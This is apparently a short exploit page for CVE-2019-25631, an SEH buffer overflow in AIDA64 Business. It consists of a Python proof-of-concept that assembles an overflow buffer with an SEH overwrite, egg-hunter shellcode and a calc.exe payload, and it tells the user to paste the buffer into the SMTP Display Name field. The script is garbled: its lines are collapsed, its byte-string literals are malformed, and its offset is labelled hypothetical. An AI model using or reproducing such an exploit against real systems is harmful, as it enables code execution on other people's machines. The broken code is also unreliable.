CVE-2019-25631 AIDA64 Business SEH缓冲区溢出漏洞

#!/usr/bin/python # -*- coding: utf-8 -*- """ PoC for CVE-2019-25631 - AIDA64 Business SEH Buffer Overflow This script generates a malicious payload to trigger the overflow. """ import struct def create_exploit_buffer(): # Offset to SEH handler (hypothetical value based on vulnerability analysis) offset = 4064 # POP POP RET instruction address (from a non-ASLR module like AIDA64.exe or system DLL) # This address is used to pivot execution flow to the shellcode seh_handler = struct.pack('<L', 0x10020215) # Short jump to skip the SEH handler address and land on the shellcode nseh = b"\xeb\x06\x90\x90" # Egg Hunter Shellcode (x86) # This code searches memory for the tag 'w00tw00t' and executes the code following it hunter = b"" \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7 """ # Padding to align the buffer padding = b"\x90" * 20 # The actual payload (The Egg) # Tag 'w00tw00t' followed by calc.exe execution (for demonstration) egg_tag = b"w00tw00t" payload = b"" \x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0 """ # msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python # Construct the final buffer buffer = b"A" * offset buffer += nseh buffer += seh_handler buffer += hunter buffer += padding buffer += egg_tag + payload return buffer if __name__ == "__main__": exploit = create_exploit_buffer() print(f"[+] Generated Exploit Buffer Length: {len(exploit)}") print("[+] Usage: Copy this buffer into the 'SMTP Display Name' field in AIDA64 settings.")